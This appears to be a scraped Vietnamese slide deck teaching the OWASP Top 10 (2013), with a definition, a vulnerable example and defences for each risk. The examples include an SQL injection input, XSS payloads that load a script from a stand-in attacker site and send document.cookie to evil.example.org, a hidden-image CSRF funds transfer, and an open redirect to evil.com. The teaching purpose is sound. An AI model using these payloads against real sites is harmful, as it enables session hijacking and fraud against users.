42
OWASP Top 10 - 2013 The ten most critical web application security risks

Owasp top 10

Embed Size (px)

Citation preview

Page 1: Owasp top 10

OWASP Top 10 - 2013

The ten most critical web application security risks

Page 2: Owasp top 10

A1 InjectionKhái niệm

•Lỗi Injection là lỗi xảy ra khi người tấn công nhập một dữ liệu làm thi hành những câu lệnh không ý muốn trên hệ thống

Page 3: Owasp top 10

•Một trang web dùng đoạn code sau để lấy dữ liệu từ ô nhập dữ liệu của trang web:

txtUserId = getRequestString("UserId");txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

A1 Injection

User 105

txtUserId = “105”txtSQL = "SELECT * FROM Users WHERE UserId = " + “105”;

105 Linh 1996

Lỗ hổng

Page 4: Owasp top 10

txtUserId = getRequestString("UserId");txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

15 or 1 = 1

A1 Injection

•Nếu biến txtUserId không được kiểm tra, thì người tấn công có thể nhập một dữ liệu đầu vào không theo ý của người phát triển

• i.e: người dùng nhập vào một String, UserID là một integer

User

txtUserId = “15 or 1 = 1”txtSQL = "SELECT * FROM Users WHERE UserId = " + “15 or 1 = 1”;

105 L 213

106 Z 234

1 A 5254

:

Lỗ hổng

Page 5: Owasp top 10

• Lấy dữ liệu trực tiếp của người dùng nhập vào qua một tham số cho một hàm để được kiểm tra và xử lý

• Lập một danh sách kiểm tra nhũng ký tự được cho phép • Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc

biệt

Cách phòng tránh

txtUserId = getRequestString("UserId");txtSQL = "SELECT * FROM Users WHERE UserId = @0";db.Execute(txtSQL,txtUserId);

(txtUserId được thay vào @0)

Page 6: Owasp top 10

A2 Broken Authentication and Session Mangagement

Khái niệm•Những chức năng của ứng dụng liên quan đến xác thực và quản lí phiên đăng nhập thường không được thiết kế chính xác

• Ví dụ: Ứng dụng không bắt buộc người sử dụng dùng một mật khẩu an toàn. Người sử dụng có thể dùng một mật khẩu như “1234”

•Qua đó người tấn công có thể lấy cắp mặt khẩu, hay token của phiên đăng nhập

Page 7: Owasp top 10

•A mượn điện thoại của B để vào tài khoản Facebook của A

•A quên không đăng xuất tài khoản Facebook của mình

•Phiên đăng nhập tài khoản của A không hết hạn, B có thể dùng được tài khoản của A

Lỗ hổngA2 Broken Authentication and Session Management

Page 8: Owasp top 10

• Thiết kế các chức năng liên quan đến xác thực và quản lý phiên đăng nhập theo tiêu chuẩn của OWASP • Tham khảo thêm: https://www.owasp.org/index.php/ASVS

• Tránh lỗi XSS để không bị lấy cắp ID phiên đăng nhập (lỗi A3 Cross Site Scripting sẽ được nói ở phần sau)

A2 Broken Authentication and Session Management Cách phòng tránh

Page 9: Owasp top 10

A3 Cross-Site Scripting

Khái niệm•Lỗi XSS xảy ra khi một ứng dụng nhận vào những dữ liệu không đáng tin và gửi những dữ liệu đấy cho trình duyệt của người dùng

• Ví dụ:một đoạn Javascript:<script%20src="http://mallorysevilsite.com/authstealer.js">

•Lỗi XSS thường giúp người khai thác chiếm phiên đăng nhập của người dùng, “deface” trang web hay dẫn người dùng đến những trang web lừa đảo

Page 10: Owasp top 10

•A dùng trang web của B

•Trang web của B cho phép A lập tài khoản và chứa những thông tin riêng tư

•Trang web của B có lỗi XSS trong chức năng tìm kiếm

http://bobssite.org?q=search term

A3 Cross-Site Scripting Lỗ hổng

search term

Page 11: Owasp top 10

A3 Cross-Site Scripting

• Chức năng tìm kiếm của trang web khi nhận được một query:

• Trang web sẽ hiện ra

"http://bobssite.org?q=puppies

Lỗ hổng

http://bobssite.org?q=puppies

puppies

puppies not found

Page 12: Owasp top 10

A3 Cross-Site Scripting

• Chức năng tìm kiếm của trang web khi nhận được một query bất thường như:

• Trang web sẽ hiện ra

<script type='text/javascript'>alert('pwnd');</script>

Lỗ hổng

http://bobssite.org?q=<script…

<script ….

<script …. not foundpwnd

Page 13: Owasp top 10

A3 Cross-Site Scripting

• C tìm ra lỗi này của trang web B

• C tạo ra URL

• C gửi URL cho những thành viên của trang web B

http://bobssite.org?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js">

Lỗ hổng

Check out this cute puppy. http://bobssite.org?q=puppies<script%20….

From: [email protected]

Page 14: Owasp top 10

A3 Cross-Site Scripting

•A nhận được email và click vào link

•Link dẫn đến trang web của B và hiện ra “puppies not found”

•Script authstealer.js trong URL được thực hiện

•Script này lấy thông tin xác thực của A và gửi cho trang web của C

Lỗ hổng

Ví dụ: một đoạn trong authstealer.jsnew Image().src ='http://evil.example.org/steal.php?cookies=' + encodeURI(document.cookie);

Page 15: Owasp top 10

A3 Cross-Site Scripting

• “Escape” tất cả những dữ liệu không đáng tin cậy một cách hợp lý khi dữ liệu được đưa vào

• Ví dụ:

• Tham khảo thêm về HTML escaping:

• Lập danh sách những dữ liệu được phép nhập vào• Ví dụ: Chỉ được nhập chữ cái, không được nhập ký tự đặc biệt

• Với những dữ liệu như hình ảnh, video, có thể dùng những thư viện kiểm tra tự động như AntiSamy (OWASP)

Cách phòng tránh

& --> &amp; < --> &lt; > --> &gt;

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

Tham khảo thêm về dự án AntiSamy: https://www.owasp.org/index.php/AntiSamy

Page 16: Owasp top 10

A4 Insecure Direct Object References

Khái niệm

•Lỗi xảy ra khi người phát triển để lộ quyền truy cập vào những đối tượng bên trong hệ thống, như file, những thư mục bên trong hệ thống

Page 17: Owasp top 10

http://example.com/app/editInfo?acct=123

A4 Insecure Direct Object References Lỗ hổng

•Một người dùng dùng trang web sau để thay đổi tài khoản của mình

Name

Age

JaneFoster

Page 18: Owasp top 10

• Người dùng thử thay đổi số ‘acct’ của mình

• Người dùng có thể thay đổi tài khoản của người khác

A4 Insecure Direct Object References Lỗ hổng

http://example.com/app/editInfo?acct=124

Name

Age

AdamIo

Page 19: Owasp top 10

A4 Insecure Direct Object References

• Kiểm tra quyền truy cập trực tiếp đến đối tượng

• Khi cung cấp quyền truy cập trực tiếp đến một đối tượng, ứng dụng cần xác thực liệu người dùng có quyền truy cập đối tượng hay không

Cách phòng tránh

Page 20: Owasp top 10

A4 Insecure Direct Object References

• Chỉ cung cấp quyền truy cập gián tiếp đến những đối tượng mà người dùng hiện tại được phép truy cập

Cách phòng tránh

Page 21: Owasp top 10

A5 Security Misconfiguration

Khái niệm

•Lỗi xảy ra khi admin dùng những cài đặt không an toàn cho hệ thống hoặc dùng cài đặt mặc định

Page 22: Owasp top 10

•Ứng dụng quản lý server của admin được cài đặt mặc định

•Ví dụ: Window Server 2008, Java Application Server

•Người tấn công truy cập vào trang admin trên server, dùng tài khoản admin mặc định, và chiếm quyền kiểm soát

A5 Security Misconfiguration Lỗ hổng

Page 23: Owasp top 10

A5 Security Misconfiguration

• Có một quy trình rõ ràng khi áp dụng một môi trường mới cho hệ thống

• Cập nhật hệ thống một cách hợp lý và nhanh chóng khi có bản mới

• Ví dụ:Nên cập nhật nhanh nhất có thể khi bản mới đã ổn định khi chạy cho ứng dụng

• Thiết kế ứng dụng để có những tách biệt an toàn giữa các thành phần

• Kiểm tra cài đặt của hệ thống định kỳ

Cách phòng tránh

Page 24: Owasp top 10

A6 Sensitive Data Exposure

Khái niệm•Lỗi xảy ra khi những thông tin nhạy cảm (như thẻ tín dụng, thông tin xác thực) không được bảo vệ kỹ lưỡng

•Khi đó, người tấn công có thể lấy cắp hoặc thay đổi nhũng thông tin ấy

Page 25: Owasp top 10

A6 Sensitive Data Exposure Lỗ hổng

• Một trang web có trang đăng nhập tài khoản:

• Trang web thiết kế ô password với phần password được hiển thị khi người dùng nhập vào

www.example.com/login

User hello123

Password Password123

Page 26: Owasp top 10

A6 Sensitive Data Exposure Lỗ hổng

• Ô password nên được che bằng kí tự khác khi được người dùng nhập vào

www.example.com/login

User hello123

Password ****************

Page 27: Owasp top 10

A6 Sensitive Data Exposure

• Không lưu trữ những thông tin nhạy cảm nếu không cần thiết

• Mã hoá tất cả những dữ liệu nhạy cảm

• Dùng những quy trình tiêu chuẩn và thuật toán an toàn để quản lý dữ liệu

• Tham khảo thêm: • http://csrc.nist.gov/groups/STM/cmvp/documents/140-1/140val-

all.htm• Vô hiệu hoá autocomplete khi yêu cầu người dùng điền vào nhũng dữ liệu nhạy cảm

• Vô hiệu hoá caching ở những trang chứa dữ liệu nhạy cảm

Cách phòng tránh

Page 28: Owasp top 10

A7 Missing Function Level Access Control

Khái niệm

• Lỗi xảy ra khi quyền sử dụng tính năng của một ứng dụng không được xác thực hợp lý

• Khi đó, người tấn công có thể sử dụng tính năng của ứng dụng mà mình không được phép

Page 29: Owasp top 10

• Người tấn công truy cập những địa chỉ URL ở dưới. Cả hai đều cần xác thực. ‘admin_getappinfo’ còn cần quyền truy cập của admin

• Trang web đầu tiên có thể vào được bởi tài khoản bình thường

• Trang web thứ hai chỉ nên được truy cập bởi tài khoản admin

http://example.com/app/getappInfo

A7 Missing Function Level Access Control Lỗ hổng

http://example.com/app/admin_getappInfo

Page 30: Owasp top 10

• Nếu người tấn công dùng tài khoàn bình thường của mình để vào trang admin_getappinfo thành công, ứng dụng web đã có lỗ hổng

A7 Missing Function Level Access Control Lỗ hổng

http://example.com/app/admin_getappInfo

http://example.com/app/admin_getappInfo

Page 31: Owasp top 10

A7 Missing Function Level Access Control

• Đảm bảo việc quản lý quyền sử dụng các tính năng dễ dàng và hợp lý

• Đảm bảo rằng mỗi tính năng của ứng dụng chỉ có thể được truy cập bởi một nhóm người dùng nhất định

Cách phòng tránh

Page 32: Owasp top 10

A8 Cross-Site Request Forgery (CSRF)

Khái niệm

• Lỗi xảy ra khi người tấn công làm trình duyệt của người dùng gửi một yêu cầu giả đến trang web. Nếu mà người dùng đã được xác thực với trang web ấy, yêu cầu sẽ được thực hiện

Page 33: Owasp top 10

• Ứng dụng cho phép người dùng thực hiện yêu cầu chuyển tiền:

• Người tấn công xây dựng một yêu cầu chuyển tiền cho tài khoản của mình từ tài khoản của người sử dụng, rồi giấu nó vào một thẻ hình ảnh của trang web thuộc quyền điều khiển của người tấn công

<img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />

http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243

A8 Cross-Site Request Forgery (CSRF)

Lỗ hổng

Page 34: Owasp top 10

•Nếu nạn nhân truy cập trang web nào đó của người tấn công, thẻ img sẽ được tải bởi trình duyệt

•Nếu như nạn nhân đang xác thực vào trang web example.com, yêu cầu sẽ được thực hiện

A8 Cross-Site Request Forgery (CSRF)

Lỗ hổng

Page 35: Owasp top 10

• Khi người dùng thực hiện một yêu cầu HTTP, nên có một giá trị đặc biệt, không nằm trong URL

• OWASP cung cấp một công cụ là CSRF Guard, tự động thêm vào một giá trị đặc biệt

• https://www.owasp.org/index.php/CSRFGuard

A8 Cross-Site Request Forgery (CSRF)

Cách phòng tránh

Page 36: Owasp top 10

• Có thể yêu cầu người dùng xác thực lại khi thực hiện một yêu cầu

A8 Cross-Site Request Forgery (CSRF)

Cách phòng tránh

Page 37: Owasp top 10

A9 Using Components with Known Vulnerabilities

Khái niệm

•Lỗi xảy ra khi một thành phần của thư viện có lỗ hổng, khiến hệ thống sử dụng thư viện dễ bị tấn công

Page 38: Owasp top 10

•Giả sử có một thư viện bị lỗi xác thực danh tính của người đăng nhập

•Thư viện đã được cập nhật phiên bản mới với bản vá lỗi được công bố

•Một trang web dùng thư viện ấy nhưng chưa cập nhật bản vá lỗi

•Người tấn công có thể tấn công vào trang web qua thành phần bị lỗi

A9 Using Components with Known Vulnerabilities

Lỗ hổng

Page 39: Owasp top 10

• Nhận diện tất cả các thư viện mà hệ thống đang sử dụng

• Giám sát sự an toàn của những thư viện, đảm bảo các thư viện luôn được cập nhật

• Có quy trình khi áp dụng một thành phần mới vào hệ thông

• Thiết kế để ứng dụng sử dụng những thành phần của thư viện một cách an toàn

A9 Using Components with Known Vulnerabilities

Cách phòng tránh

Page 40: Owasp top 10

A10 Unvalidated Redirects and Forwards

Khái niệm

• Lỗi xảy ra khi trang web không xác thực các yêu cầu chuyển hướng đến một trang web khác

Page 41: Owasp top 10

• Ứng dụng có một trang gọi là “redirect.jsp” để chuyển hướng đến trang trong tham số ‘url’. Người tấn công xây dựng một URL để làm người dùng truy cập một trang web khác để thực hiện hành vi lừa đảo

• Ví dụ:• http://www.example.com/redirect.jsp?url=evil.com

Lỗ hổngA10 Unvalidated Redirects and Forwards

Page 42: Owasp top 10

• Không dùng lệnh chuyển hướng nếu không cần thiết

• Không dùng tham số khi thực hiện lệnh chuyển hướng

• Nếu phải dùng tham số, đảm bảo lệnh chuyển hướng chính xác và an toàn

A10 Unvalidated Redirects and Forwards

Cách phòng tránh